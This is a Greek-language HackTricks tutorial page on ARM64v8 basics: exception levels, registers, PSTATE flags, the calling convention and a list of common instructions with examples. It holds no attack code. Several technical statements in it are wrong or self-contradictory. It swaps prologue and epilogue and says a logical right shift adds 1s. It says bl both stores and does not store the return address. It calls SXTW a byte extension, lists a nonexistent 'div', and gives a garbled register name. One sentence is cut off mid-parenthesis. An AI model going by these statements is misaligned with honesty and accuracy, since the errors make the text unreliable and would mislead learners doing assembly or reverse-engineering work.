Introduction to ARM64v8

Υποστήριξη HackTricks

Επίπεδα Εξαίρεσης - EL (ARM64v8)

Στην αρχιτεκτονική ARMv8, τα επίπεδα εκτέλεσης, γνωστά ως Επίπεδα Εξαίρεσης (ELs), καθορίζουν το επίπεδο προνομίων και τις δυνατότητες του περιβάλλοντος εκτέλεσης. Υπάρχουν τέσσερα επίπεδα εξαίρεσης, που κυμαίνονται από EL0 έως EL3, το καθένα εξυπηρετεί διαφορετικό σκοπό:

  1. EL0 - Λειτουργία Χρήστη:

  • Αυτό είναι το λιγότερο προνομιακό επίπεδο και χρησιμοποιείται για την εκτέλεση κανονικού κώδικα εφαρμογής.

  • Οι εφαρμογές που εκτελούνται στο EL0 είναι απομονωμένες η μία από την άλλη και από το λογισμικό του συστήματος, ενισχύοντας την ασφάλεια και τη σταθερότητα.

  1. EL1 - Λειτουργία Πυρήνα Λειτουργικού Συστήματος:

  • Οι περισσότεροι πυρήνες λειτουργικών συστημάτων εκτελούνται σε αυτό το επίπεδο.

  • Το EL1 έχει περισσότερα προνόμια από το EL0 και μπορεί να έχει πρόσβαση σε πόρους του συστήματος, αλλά με ορισμένους περιορισμούς για να διασφαλιστεί η ακεραιότητα του συστήματος.

  1. EL2 - Λειτουργία Υπερχειριστή:

  • Αυτό το επίπεδο χρησιμοποιείται για εικονικοποίηση. Ένας υπερχειριστής που εκτελείται στο EL2 μπορεί να διαχειρίζεται πολλαπλά λειτουργικά συστήματα (κάθε ένα στο δικό του EL1) που εκτελούνται στο ίδιο φυσικό υλικό.

  • Το EL2 παρέχει δυνατότητες για απομόνωση και έλεγχο των εικονικών περιβαλλόντων.

  1. EL3 - Λειτουργία Ασφαλούς Παρακολούθησης:

  • Αυτό είναι το πιο προνομιακό επίπεδο και χρησιμοποιείται συχνά για ασφαλή εκκίνηση και αξιόπιστα περιβάλλοντα εκτέλεσης.

  • Το EL3 μπορεί να διαχειρίζεται και να ελέγχει τις προσβάσεις μεταξύ ασφαλών και μη ασφαλών καταστάσεων (όπως ασφαλής εκκίνηση, αξιόπιστο OS, κ.λπ.).

Η χρήση αυτών των επιπέδων επιτρέπει έναν δομημένο και ασφαλή τρόπο διαχείρισης διαφορετικών πτυχών του συστήματος, από τις εφαρμογές χρήστη έως το πιο προνομιακό λογισμικό του συστήματος. Η προσέγγιση του ARMv8 στα επίπεδα προνομίων βοηθά στην αποτελεσματική απομόνωση διαφορετικών στοιχείων του συστήματος, ενισχύοντας έτσι την ασφάλεια και την ανθεκτικότητα του συστήματος.

Καταχωρητές (ARM64v8)

ARM64 έχει 31 γενικούς καταχωρητές, που φέρουν ετικέτες x0 έως x30. Κάθε ένας μπορεί να αποθηκεύσει μια 64-bit (8-byte) τιμή. Για λειτουργίες που απαιτούν μόνο 32-bit τιμές, οι ίδιοι καταχωρητές μπορούν να προσπελαστούν σε 32-bit λειτουργία χρησιμοποιώντας τα ονόματα w0 έως w30.

  1. x0 έως x7 - Αυτοί χρησιμοποιούνται συνήθως ως καταχωρητές scratch και για τη μεταφορά παραμέτρων σε υπορουτίνες.

  • x0 μεταφέρει επίσης τα δεδομένα επιστροφής μιας συνάρτησης

  1. x8 - Στον πυρήνα Linux, το x8 χρησιμοποιείται ως αριθμός κλήσης συστήματος για την εντολή svc. Στο macOS, το x16 είναι αυτό που χρησιμοποιείται!

  2. x9 έως x15 - Περισσότεροι προσωρινοί καταχωρητές, συχνά χρησιμοποιούμενοι για τοπικές μεταβλητές.

  3. x16 και x17 - Καταχωρητές Ενδο-διαδικαστικής Κλήσης. Προσωρινοί καταχωρητές για άμεσες τιμές. Χρησιμοποιούνται επίσης για έμμεσες κλήσεις συναρτήσεων και PLT (Procedure Linkage Table) stubs.

  • x16 χρησιμοποιείται ως αριθμός κλήσης συστήματος για την svc εντολή στο macOS.

  1. x18 - Καταχωρητής πλατφόρμας. Μπορεί να χρησιμοποιηθεί ως γενικός καταχωρητής, αλλά σε ορισμένες πλατφόρμες, αυτός ο καταχωρητής είναι δεσμευμένος για συγκεκριμένες χρήσεις πλατφόρμας: Δείκτης στο τρέχον περιβάλλον νήματος στο Windows, ή για να δείξει τη δομή τρέχουσας εκτελούμενης εργασίας στον πυρήνα linux.

  2. x19 έως x28 - Αυτοί είναι οι καταχωρητές που διατηρούνται από τον καλούμενο. Μια συνάρτηση πρέπει να διατηρεί τις τιμές αυτών των καταχωρητών για τον καλούντα, οπότε αποθηκεύονται στο στοίβα και ανακτώνται πριν επιστρέψουν στον καλούντα.

  3. x29 - Δείκτης πλαισίου για την παρακολούθηση του πλαισίου στοίβας. Όταν δημιουργείται ένα νέο πλαίσιο στοίβας επειδή καλείται μια συνάρτηση, ο x29 καταχωρητής αποθηκεύεται στο στοίβα και η νέα διεύθυνση δείκτη πλαισίου είναι (sp διεύθυνση) αποθηκεύεται σε αυτόν τον καταχωρητή.

  • Αυτός ο καταχωρητής μπορεί επίσης να χρησιμοποιηθεί ως γενικός καταχωρητής αν και συνήθως χρησιμοποιείται ως αναφορά σε τοπικές μεταβλητές.

  1. x30 ή lr- Καταχωρητής σύνδεσης. Διατηρεί τη διεύθυνση επιστροφής όταν εκτελείται μια εντολή BL (Branch with Link) ή BLR (Branch with Link to Register) αποθηκεύοντας την τιμή pc σε αυτόν τον καταχωρητή.

  • Μπορεί επίσης να χρησιμοποιηθεί όπως οποιοσδήποτε άλλος καταχωρητής.

  • Εάν η τρέχουσα συνάρτηση πρόκειται να καλέσει μια νέα συνάρτηση και επομένως να επαναγράψει το lr, θα το αποθηκεύσει στο στοίβα στην αρχή, αυτό είναι το επιλόγιο (stp x29, x30 , [sp, #-48]; mov x29, sp -> Αποθήκευση fp και lr, δημιουργία χώρου και λήψη νέου fp) και θα το ανακτήσει στο τέλος, αυτό είναι το πρόλογο (ldp x29, x30, [sp], #48; ret -> Ανάκτηση fp και lr και επιστροφή).

  1. sp - Δείκτης στοίβας, χρησιμοποιείται για την παρακολούθηση της κορυφής της στοίβας.

  • Η τιμή sp θα πρέπει πάντα να διατηρείται τουλάχιστον σε ευθυγράμμιση quadword ή μπορεί να προκύψει εξαίρεση ευθυγράμμισης.

  1. pc - Μετρητής προγράμματος, που δείχνει στην επόμενη εντολή. Αυτός ο καταχωρητής μπορεί να ενημερωθεί μόνο μέσω γενεών εξαιρέσεων, επιστροφών εξαιρέσεων και κλάδων. Οι μόνοι κανονικοί εντολές που μπορούν να διαβάσουν αυτόν τον καταχωρητή είναι οι εντολές branch with link (BL, BLR) για να αποθηκεύσουν τη διεύθυνση pc στο lr (Καταχωρητής Σύνδεσης).

  2. xzr - Καταχωρητής μηδέν. Ονομάζεται επίσης wzr στην 32-bit μορφή του. Μπορεί να χρησιμοποιηθεί για να αποκτήσει εύκολα την τιμή μηδέν (συνηθισμένη λειτουργία) ή για να εκτελέσει συγκρίσεις χρησιμοποιώντας subs όπως subs XZR, Xn, #10 αποθηκεύοντας τα αποτελέσματα που προκύπτουν πουθενά (στο xzr).

Οι καταχωρητές Wn είναι η 32bit έκδοση του καταχωρητή Xn.

SIMD και Καταχωρητές Κινητής Τελείας

Επιπλέον, υπάρχουν άλλοι 32 καταχωρητές μήκους 128bit που μπορούν να χρησιμοποιηθούν σε βελτιστοποιημένες λειτουργίες πολλαπλών δεδομένων με μία εντολή (SIMD) και για την εκτέλεση αριθμητικών υπολογισμών κινητής υποδιαστολής. Αυτοί ονομάζονται καταχωρητές Vn αν και μπορούν επίσης να λειτουργούν σε 64-bit, 32-bit, 16-bit και 8-bit και τότε ονομάζονται Qn, Dn, Sn, Hn και Bn.

Καταχωρητές Συστήματος

Υπάρχουν εκατοντάδες καταχωρητές συστήματος, που ονομάζονται επίσης ειδικοί καταχωρητές (SPRs), που χρησιμοποιούνται για παρακολούθηση και έλεγχο της συμπεριφοράς των επεξεργαστών. Μπορούν να διαβαστούν ή να ρυθμιστούν μόνο χρησιμοποιώντας τις ειδικές εντολές mrs και msr.

Οι ειδικοί καταχωρητές TPIDR_EL0 και TPIDDR_EL0 βρίσκονται συχνά κατά την αντίστροφη μηχανική. Το επίθημα EL0 υποδηλώνει την ελάχιστη εξαίρεση από την οποία μπορεί να προσπελαστεί ο καταχωρητής (σε αυτή την περίπτωση το EL0 είναι το κανονικό επίπεδο εξαίρεσης (προνομίων) με το οποίο εκτελούνται τα κανονικά προγράμματα). Συνήθως χρησιμοποιούνται για την αποθήκευση της βάσης διεύθυνσης της περιοχής αποθήκευσης τοπικών νημάτων μνήμης. Συνήθως ο πρώτος είναι αναγνώσιμος και εγγράψιμος για προγράμματα που εκτελούνται στο EL0, αλλά ο δεύτερος μπορεί να διαβαστεί από το EL0 και να γραφεί από το EL1 (όπως ο πυρήνας).

  • mrs x0, TPIDR_EL0 ; Διαβάστε το TPIDR_EL0 στο x0

  • msr TPIDR_EL0, X0 ; Γράψτε το x0 στο TPIDR_EL0

PSTATE

PSTATE περιέχει αρκετά στοιχεία διαδικασίας σειριακά στο ορατό από το λειτουργικό σύστημα SPSR_ELx ειδικό καταχωρητή, όπου το X είναι το επίπεδο άδειας της ενεργοποιημένης εξαίρεσης (αυτό επιτρέπει την ανάκτηση της κατάστασης της διαδικασίας όταν τελειώνει η εξαίρεση). Αυτά είναι τα προσβάσιμα πεδία:

  • Οι σημαίες συνθηκών N, Z, C και V:

  • N σημαίνει ότι η λειτουργία απέδωσε αρνητικό αποτέλεσμα

  • Z σημαίνει ότι η λειτουργία απέδωσε μηδέν

  • C σημαίνει ότι η λειτουργία είχε μεταφορά

  • V σημαίνει ότι η λειτουργία απέδωσε υπερχείλιση υπογραφής:

  • Το άθροισμα δύο θετικών αριθμών αποδίδει αρνητικό αποτέλεσμα.

  • Το άθροισμα δύο αρνητικών αριθμών αποδίδει θετικό αποτέλεσμα.

  • Στην αφαίρεση, όταν αφαιρείται ένας μεγάλος αρνητικός αριθμός από έναν μικρό θετικό αριθμό (ή το αντίστροφο), και το αποτέλεσμα δεν μπορεί να αναπαρασταθεί εντός του εύρους του δεδομένου μεγέθους bit.

  • Προφανώς, ο επεξεργαστής δεν γνωρίζει αν η λειτουργία είναι υπογεγραμμένη ή όχι, οπότε θα ελέγξει το C και το V στις λειτουργίες και θα υποδείξει αν συνέβη μεταφορά σε περίπτωση που ήταν υπογεγραμμένη ή μη υπογεγραμμένη.

Όχι όλες οι εντολές ενημερώνουν αυτές τις σημαίες. Ορισμένες όπως CMP ή TST το κάνουν, και άλλες που έχουν ένα s επίθημα όπως ADDS το κάνουν επίσης.

  • Η τρέχουσα σημαία πλάτους καταχωρητή (nRW): Εάν η σημαία έχει την τιμή 0, το πρόγραμμα θα εκτελείται στην κατάσταση εκτέλεσης AArch64 μόλις επανεκκινηθεί.

  • Το τρέχον Επίπεδο Εξαίρεσης (EL): Ένα κανονικό πρόγραμμα που εκτελείται στο EL0 θα έχει την τιμή 0

  • Η σημαία μοναδικού βήματος (SS): Χρησιμοποιείται από αποσφαλματωτές για να εκτελούν μοναδικά βήματα ρυθμίζοντας τη σημαία SS σε 1 μέσα στο SPSR_ELx μέσω μιας εξαίρεσης. Το πρόγραμμα θα εκτελέσει ένα βήμα και θα εκδώσει μια εξαίρεση μοναδικού βήματος.

  • Η σημαία κατάστασης παράνομης εξαίρεσης (IL): Χρησιμοποιείται για να σημάνει πότε ένα προνομιακό λογισμικό εκτελεί μια μη έγκυρη μεταφορά επιπέδου εξαίρεσης, αυτή η σημαία ρυθμίζεται σε 1 και ο επεξεργαστής ενεργοποιεί μια εξαίρεση παράνομης κατάστασης.

  • Οι σημαίες DAIF: Αυτές οι σημαίες επιτρέπουν σε ένα προνομιακό πρόγραμμα να επιλέξει να αποκλείσει ορισμένες εξωτερικές εξαιρέσεις.

  • Εάν A είναι 1 σημαίνει ότι θα ενεργοποιηθούν ασύγχρονοι τερματισμοί. Η I ρυθμίζει την αντίδραση σε εξωτερικά αιτήματα διακοπής (IRQs). και το F σχετίζεται με Γρήγορα Αιτήματα Διακοπής (FIRs).

  • Οι σημαίες επιλογής δείκτη στοίβας (SPS): Προνομιακά προγράμματα που εκτελούνται στο EL1 και άνω μπορούν να εναλλάσσουν τη χρήση του δικού τους καταχωρητή δείκτη στοίβας και του καταχωρητή μοντέλου χρήστη (π.χ. μεταξύ SP_EL1 και EL0). Αυτή η εναλλαγή πραγματοποιείται γράφοντας στον ειδικό καταχωρητή SPSel. Αυτό δεν μπορεί να γίνει από το EL0.

Σύμβαση Κλήσης (ARM64v8)

Η σύμβαση κλήσης ARM64 καθορίζει ότι οι πρώτες οκτώ παράμετροι σε μια συνάρτηση μεταφέρονται στους καταχωρητές x0 έως x7. Επιπλέον παράμετροι μεταφέρονται στο στοίβα. Η τιμή επιστροφής μεταφέρεται πίσω στον καταχωρητή x0, ή στο x1 επίσης αν είναι 128 bits. Οι καταχωρητές x19 έως x30 και sp πρέπει να διατηρούνται κατά τις κλήσεις συναρτήσεων.

Όταν διαβάζετε μια συνάρτηση σε assembly, αναζητήστε τον πρόλογο και το επιλόγιο της συνάρτησης. Ο πρόλογος συνήθως περιλαμβάνει αποθήκευση του δείκτη πλαισίου (x29), ρύθμιση ενός νέου δείκτη πλαισίου, και κατανομή χώρου στοίβας. Το επιλόγιο συνήθως περιλαμβάνει αποκατάσταση του αποθηκευμένου δείκτη πλαισίου και επιστροφή από τη συνάρτηση.

Σύμβαση Κλήσης στη Swift

Η Swift έχει τη δική της σύμβαση κλήσης που μπορεί να βρεθεί στο https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64

Κοινές Εντολές (ARM64v8)

Οι εντολές ARM64 γενικά έχουν τη μορφή opcode dst, src1, src2, όπου opcode είναι η λειτουργία που θα εκτελεστεί (όπως add, sub, mov, κ.λπ.), dst είναι ο καταχωρητής προορισμού όπου θα αποθηκευτεί το αποτέλεσμα, και src1 και src2 είναι οι καταχωρητές πηγής. Οι άμεσες τιμές μπορούν επίσης να χρησιμοποιηθούν αντί για καταχωρητές πηγής.

  • mov: Μεταφορά μιας τιμής από έναν καταχωρητή σε έναν άλλο.

  • Παράδειγμα: mov x0, x1 — Αυτό μεταφέρει την τιμή από x1 στο x0.

  • ldr: Φόρτωση μιας τιμής από μνήμη σε έναν καταχωρητή.

  • Παράδειγμα: ldr x0, [x1] — Αυτό φορτώνει μια τιμή από τη διεύθυνση μνήμης που υποδεικνύεται από το x1 στο x0.

  • Λειτουργία Offset: Ένα offset που επηρεάζει τον αρχικό δείκτη υποδεικνύεται, για παράδειγμα:

  • ldr x2, [x1, #8], αυτό θα φορτώσει στο x2 την τιμή από x1 + 8

  • ldr x2, [x0, x1, lsl #2], αυτό θα φορτώσει στο x2 ένα αντικείμενο από τον πίνακα x0, από τη θέση x1 (δείκτης) * 4

  • Προκαθορισμένη Λειτουργία: Αυτό θα εφαρμόσει υπολογισμούς στον αρχικό δείκτη, θα πάρει το αποτέλεσμα και θα αποθηκεύσει επίσης τον νέο αρχικό δείκτη στον αρχικό δείκτη.

  • ldr x2, [x1, #8]!, αυτό θα φορτώσει το x1 + 8 στο x2 και θα αποθηκεύσει στο x1 το αποτέλεσμα του x1 + 8

  • str lr, [sp, #-4]!, Αποθήκευση του καταχωρητή σύνδεσης στο sp και ενημέρωση του καταχωρητή sp

  • Μετά την Ενημέρωση Λειτουργία: Αυτό είναι όπως η προηγούμενη αλλά η διεύθυνση μνήμης προσπελάζεται και στη συνέχεια υπολογίζεται και αποθηκεύεται το offset.

  • ldr x0, [x1], #8, φορτώνει το x1 στο x0 και ενημερώνει το x1 με x1 + 8

  • Διεύθυνση Σχετική με το PC: Σε αυτή την περίπτωση, η διεύθυνση που θα φορτωθεί υπολογίζεται σχετική με τον καταχωρητή PC

  • ldr x1, =_start, Αυτό θα φορτώσει τη διεύθυνση όπου ξεκινά το σύμβολο _start στο x1 σχετική με το τρέχον PC.

  • str: Αποθήκευση μιας τιμής από έναν καταχωρητή σε μνήμη.

  • Παράδειγμα: str x0, [x1] — Αυτό αποθηκεύει την τιμή στο x0 στη διεύθυνση μνήμης που υποδεικνύεται από το x1.

  • ldp: Φόρτωση Ζεύγους Καταχωρητών. Αυτή η εντολή φορτώνει δύο καταχωρητές από διαδοχικές μνήμες. Η διεύθυνση μνήμης σχηματίζεται συνήθως προσθέτοντας ένα offset στην τιμή ενός άλλου καταχωρητή.

  • Παράδειγμα: ldp x0, x1, [x2] — Αυτό φορτώνει το x0 και το x1 από τις διευθύνσεις μνήμης στο x2 και x2 + 8, αντίστοιχα.

  • stp: Αποθήκευση Ζεύγους Καταχωρητών. Αυτή η εντολή αποθηκεύει δύο καταχωρητές σε διαδοχικές μνήμες. Η διεύθυνση μνήμης σχηματίζεται συνήθως προσθέτοντας ένα offset στην τιμή ενός άλλου καταχωρητή.

  • Παράδειγμα: stp x0, x1, [sp] — Αυτό αποθηκεύει το x0 και το x1 στις διευθύνσεις μνήμης στο sp και sp + 8, αντίστοιχα.

  • stp x0, x1, [sp, #16]! — Αυτό αποθηκεύει το x0 και το x1 στις διευθύνσεις μνήμης στο sp+16 και sp + 24, αντίστοιχα, και ενημερώνει το sp με sp+16.

  • add: Προσθέτει τις τιμές δύο καταχωρητών και αποθηκεύει το αποτέλεσμα σε έναν καταχωρητή.

  • Σύνταξη: add(s) Xn1, Xn2, Xn3 | #imm, [shift #N | RRX]

  • Xn1 -> Προορισμός

  • Xn2 -> Λειτουργία 1

  • Xn3 | #imm -> Λειτουργία 2 (καταχωρητής ή άμεσο)

  • [shift #N | RRX] -> Εκτέλεση μιας μετατόπισης ή κλήση RRX

  • Παράδειγμα: add x0, x1, x2 — Αυτό προσθέτει τις τιμές στο x1 και x2 και αποθηκεύει το αποτέλεσμα στο x0.

  • add x5, x5, #1, lsl #12 — Αυτό ισούται με 4096 (ένα 1 μετατοπισμένο 12 φορές) -> 1 0000 0000 0000 0000

  • adds Αυτή εκτελεί μια add και ενημερώνει τις σημαίες

  • sub: Αφαιρεί τις τιμές δύο καταχωρητών και αποθηκεύει το αποτέλεσμα σε έναν καταχωρητή.

  • Ελέγξτε τη σύνταξη add.

  • Παράδειγμα: sub x0, x1, x2 — Αυτό αφαιρεί την τιμή στο x2 από το x1 και αποθηκεύει το αποτέλεσμα στο x0.

  • subs Αυτό είναι όπως το sub αλλά ενημερώνει τη σημαία

  • mul: Πολλαπλασιάζει τις τιμές δύο καταχωρητών και αποθηκεύει το αποτέλεσμα σε έναν καταχωρητή.

  • Παράδειγμα: mul x0, x1, x2 — Αυτό πολλαπλασιάζει τις τιμές στο x1 και x2 και αποθηκεύει το αποτέλεσμα στο x0.

  • div: Διαιρεί την τιμή ενός καταχωρητή με έναν άλλο και αποθηκεύει το αποτέλεσμα σε έναν καταχωρητή.

  • Παράδειγμα: div x0, x1, x2 — Αυτό διαιρεί την τιμή στο x1 με το x2 και αποθηκεύει το αποτέλεσμα στο x0.

  • lsl, lsr, asr, ror, rrx:

  • Λογική μετατόπιση αριστερά: Προσθέτει 0s από το τέλος μετακινώντας τα άλλα bits προς τα εμπρός (πολλαπλασιάζει με n-φορές 2)

  • Λογική μετατόπιση δεξιά: Προσθέτει 1s στην αρχή μετακινώντας τα άλλα bits προς τα πίσω (διαιρεί με n-φορές 2 σε μη υπογεγραμμένα)

  • Αριθμητική μετατόπιση δεξιά: Όπως lsr, αλλά αντί να προσθέτει 0s αν το πιο σημαντικό bit είναι 1, προστίθενται 1s (διαιρεί με n-φορές 2 σε υπογεγραμμένα)

  • Μετατόπιση δεξιά: Όπως lsr αλλά ό,τι αφαιρείται από τα δεξιά προστίθεται στα αριστερά

  • Μετατόπιση Δεξιά με Επέκταση: Όπως ror, αλλά με τη σημαία μεταφοράς ως το "πιο σημαντικό bit". Έτσι η σημαία μεταφοράς μετακινείται στο bit 31 και το αφαιρεθέν bit στη σημαία μεταφοράς.

  • bfm: Μεταφορά Bit Field, αυτές οι λειτουργίες αντιγράφουν bits 0...n από μια τιμή και τα τοποθετούν σε θέσεις m..m+n. Το #s καθορίζει τη θέση του αριστερού bit και το #r την ποσότητα μετατόπισης δεξιά.

  • Μεταφορά bitfield: BFM Xd, Xn, #r

  • Υπογεγραμμένη μεταφορά bitfield: SBFM Xd, Xn, #r, #s

  • Μη υπογεγραμμένη μεταφορά bitfield: UBFM Xd, Xn, #r, #s

  • Εξαγωγή και Εισαγωγή Bitfield: Αντιγράφει ένα bitfield από έναν καταχωρητή και το αντιγράφει σε έναν άλλο καταχωρητή.

  • BFI X1, X2, #3, #4 Εισάγει 4 bits από το X2 από το 3ο bit του X1

  • BFXIL X1, X2, #3, #4 Εξάγει από το 3ο bit του X2 τέσσερα bits και τα αντιγράφει στο X1

  • SBFIZ X1, X2, #3, #4 Επεκτείνει το σήμα 4 bits από το X2 και τα εισάγει στο X1 ξεκινώντας από τη θέση bit 3 μηδενίζοντας τα δεξιά bits

  • SBFX X1, X2, #3, #4 Εξάγει 4 bits ξεκινώντας από το bit 3 του X2, επεκτείνει το σήμα τους και τοποθετεί το αποτέλεσμα στο X1

  • UBFIZ X1, X2, #3, #4 Μηδενίζει 4 bits από το X2 και τα εισάγει στο X1 ξεκινώντας από τη θέση bit 3 μηδενίζοντας τα δεξιά bits

  • UBFX X1, X2, #3, #4 Εξάγει 4 bits ξεκινώντας από το bit 3 του X2 και τοποθετεί το μηδενισμένο αποτέλεσμα στο X1.

  • Επέκταση Σημασίας σε X: Επεκτείνει το σήμα (ή προσθέτει απλώς 0s στην μη υπογεγραμμένη έκδοση) μιας τιμής για να μπορέσει να εκτελέσει λειτουργίες με αυτήν:

  • SXTB X1, W2 Επεκτείνει το σήμα ενός byte από το W2 στο X1 (W2 είναι το μισό του X2) για να γεμίσει τα 64bits

  • SXTH X1, W2 Επεκτείνει το σήμα ενός 16bit αριθμού από το W2 στο X1 για να γεμίσει τα 64bits

  • SXTW X1, W2 Επεκτείνει το σήμα ενός byte από το W2 στο X1 για να γεμίσει τα 64bits

  • UXTB X1, W2 Προσθέτει 0s (μη υπογεγραμμένα) σε ένα byte από το W2 στο X1 για να γεμίσει τα 64bits

  • extr: Εξάγει bits από ένα καθορισμένο ζεύγος καταχωρητών που συνδυάζονται.

  • Παράδειγμα: EXTR W3, W2, W1, #3 Αυτό θα συνδυάσει W1+W2 και θα πάρει από το bit 3 του W2 έως το bit 3 του W1 και θα το αποθηκεύσει στο W3.

  • cmp: Συγκρίνει δύο καταχωρητές και ρυθμίζει τις σημαίες συνθηκών. Είναι ένα ψευδώνυμο του subs ρυθμίζοντας τον καταχωρητή προορισμού στο μηδενικό καταχωρητή. Χρήσιμο για να γνωρίζετε αν m == n.

  • Υποστηρίζει την ίδια σύνταξη με subs

  • Παράδειγμα: cmp x0, x1 — Αυτό συγκρίνει τις τιμές στο x0 και x1 και ρυθμίζει τις σημαίες συνθηκών αναλόγως.

  • cmn: Συγκρίνει αρνητικό τελεστή. Σε αυτή την περίπτωση είναι ένα ψευδώνυμο του adds και υποστηρίζει την ίδια σύνταξη. Χρήσιμο για να γνωρίζετε αν m == -n.

  • ccmp: Συνθήκη σύγκρισης, είναι μια σύγκριση που θα εκτελείται μόνο αν μια προηγούμενη σύγκριση ήταν αληθής και θα ρυθμίσει συγκεκριμένα τα bits nzcv.

  • cmp x1, x2; ccmp x3, x4, 0, NE; blt _func -> αν x1 != x2 και x3 < x4, πηγαίνετε στη func

  • Αυτό συμβαίνει επειδή ccmp θα εκτελείται μόνο αν η προηγούμενη cmp ήταν NE, αν δεν ήταν τα bits nzcv θα ρυθμιστούν σε 0 (που δεν θα ικανοποιήσει τη σύγκριση blt).

  • Αυτό μπορεί επίσης να χρησιμοποιηθεί ως ccmn (το ίδιο αλλά αρνητικό, όπως cmp έναντι cmn).

  • tst: Ελέγχει αν οποιαδήποτε από τις τιμές της σύγκρισης είναι και οι δύο 1 (λειτουργεί όπως μια ANDS χωρίς να αποθηκεύει το αποτέλεσμα οπουδήποτε). Είναι χρήσιμο για να ελέγξετε έναν καταχωρητή με μια τιμή και να δείτε αν οποιοδήποτε από τα bits του καταχωρητή που υποδεικνύεται στην τιμή είναι 1.

  • Παράδειγμα: tst X1, #7 Ελέγξτε αν οποιοδήποτε από τα τελευταία 3 bits του X1 είναι 1

  • teq: Λειτουργία XOR απορρίπτοντας το αποτέλεσμα

  • b: Ανεξάρτητη Κλάση

  • Παράδειγμα: b myFunction

  • Σημειώστε ότι αυτό δεν θα γεμίσει τον καταχωρητή σύνδεσης με τη διεύθυνση επιστροφής (δεν είναι κατάλληλο για κλήσεις υπορουτίνων που χρειάζονται επιστροφή)

  • bl: Κλάδος με σύνδεση, χρησιμοποιείται για να καλέσει μια υπορουτίνα. Αποθηκεύει τη διεύθυνση επιστροφής στο x30.

  • Παράδειγμα: bl myFunction — Αυτό καλεί τη συνάρτηση myFunction και αποθηκεύει τη διεύθυνση επιστροφής στο x30.

  • Σημειώστε ότι αυτό δεν θα γεμίσει τον καταχωρητή σύνδεσης με τη διεύθυνση επιστροφής (δεν είναι κατάλληλο για κλήσεις υπορουτίνων που χρειάζονται επιστροφή)

  • blr: Κλάδος με Σύνδεση σε Καταχωρητή, χρησιμοποιείται για να καλέσει μια υπορουτίνα όπου ο στόχος είναι καθορισμένος σε έναν καταχωρητή. Αποθηκεύει τη διεύθυνση επιστροφής στο x30. (Αυτό είναι

  • Παράδειγμα: blr x1 — Αυτό καλεί τη συνάρτηση της οποίας η διεύθυνση περιέχεται στο x1 και αποθηκεύει τη διεύθυνση επιστροφής στο x30.

  • ret: Επιστροφή από υπορουτίνα, συνήθως χρησιμοποιώντας τη διεύθυνση στο x30.

  • Παράδειγμα: ret — Αυτό επιστρέφει από την τρέχουσα υπορουτίνα χρησιμοποιώντας τη διεύθυνση επιστροφής στο x30.

  • b.<cond>: Συνθήκες κλάσης

  • b.eq: Κλάδος αν ίσος, με βάση την προηγούμενη εντολή cmp.

  • Παράδειγμα: b.eq label — Εάν η προηγούμενη εντολή cmp βρήκε δύο ίσες τιμές, αυτό πηγαίνει στην label.

  • b.ne: Κλάδος αν Όχι Ίσος. Αυτή η εντολή ελέγχει τις σημαίες συνθηκών (οι οποίες ρυθμίστηκαν από μια προηγούμενη εντολή σύγκρισης), και αν οι συγκρινόμενες τιμές δεν ήταν ίσες, κλάδος σε μια ετικέτα ή διεύθυνση.

  • Παράδειγμα: Μετά από μια εντολή cmp x0, x1, b.ne label — Εάν οι τιμές στο x0 και x1 δεν ήταν ίσες, αυτό πηγαίνει στην label.

  • cbz: Σύγκριση και Κλάδος σε Μηδέν. Αυτή η εντολή συγκρίνει έναν καταχωρητή με το μηδέν, και αν είναι ίσοι, κλάδος σε μια ετικέτα ή διεύθυνση.

  • Παράδειγμα: cbz x0, label — Εάν η τιμή στο x0 είναι μηδέν, αυτό πηγαίνει στην label.

  • cbnz: Σύγκριση και Κλάδος σε Μη Μηδέν. Αυτή η εντολή συγκρίνει έναν καταχωρητή με το μηδέν, και αν δεν είναι ίσοι, κλάδος σε μια ετικέτα ή διεύθυνση.

  • Παράδειγμα: cbnz x0, label — Εάν η τιμή στο x0 είναι μη μηδέν, αυτό πηγαίνει στην label.

  • tbnz: Δοκιμή bit και κλάδος σε μη μηδέν

  • Παράδειγμα: tbnz x0, #8, label

  • tbz: Δοκιμή bit και κλάδος σε μηδέν

  • Παράδειγμα: tbz x0, #8, label

  • Συνθήκες επιλεγμένων λειτουργιών: Αυτές είναι λειτουργίες των οποίων η συμπεριφορά ποικίλλει ανάλογα με τα bits συνθηκών.

  • csel Xd, Xn, Xm, cond -> csel X0, X1, X2, EQ -> Εάν είναι αληθές, X0 = X1, εάν είναι ψευδές, X0 = X2

  • csinc Xd, Xn, Xm, cond -> Εάν είναι αληθές, Xd = Xn, εάν είναι ψευδές, Xd = Xm + 1

  • cinc Xd, Xn, cond -> Εάν είναι αληθές, Xd = Xn + 1, εάν είναι ψευδές, Xd = Xn

  • csinv Xd, Xn, Xm, cond -> Εάν είναι αληθές, Xd = Xn, εάν είναι ψευδές, Xd = NOT(Xm)

  • cinv Xd, Xn, cond -> Εάν είναι αληθές, Xd = NOT(Xn), εάν είναι ψευδές, Xd = Xn

  • csneg Xd, Xn, Xm, cond -> Εάν είναι αληθές, Xd = Xn, εάν είναι ψευδές, Xd = - Xm

  • cneg Xd, Xn, cond -> Εάν είναι αληθές, Xd = - Xn, εάν είναι ψευδές, Xd = Xn

  • cset Xd, Xn, Xm, cond -> Εάν είναι αληθές, Xd = 1, εάν είναι ψευδές, Xd = 0

  • csetm Xd, Xn, Xm, cond -> Εάν είναι αληθές, Xd = <όλα 1>, εάν είναι ψευδές, Xd = 0

  • adrp: Υπολογίστε τη διεύθυνση σελίδας ενός συμβόλου και αποθηκεύστε την σε έναν καταχωρητή.

  • Παράδειγμα: adrp x0, symbol — Αυτό υπολογίζει τη διεύθυνση σελίδας του symbol και την αποθηκεύει στο x0.

  • ldrsw: Φόρτωση μιας υπογεγραμμένης 32-bit τιμής από τη μνήμη και επέκταση της υπογραφής σε 64 bits.

  • Παράδειγμα: ldrsw x0, [x1] — Αυτό φορτώνει μια υπογεγραμμένη 32-bit τιμή από τη διεύθυνση μνήμης που υποδεικνύεται από το x1, την επεκτείνει σε 64 bits και την αποθηκεύει στο x0.

  • stur: Αποθήκευση μιας τιμής καταχωρητή σε μια διεύθυνση μνήμης, χρησιμοποιώντας ένα offset από έναν άλλο καταχωρητή.

  • Παράδειγμα: stur x0, [x1, #4] — Αυτό αποθηκεύει την τιμή στο x0 στη διεύθυνση μνήμης που είναι 4 bytes μεγαλύτερη από τη διεύθυνση που είναι ήδη στο x1.

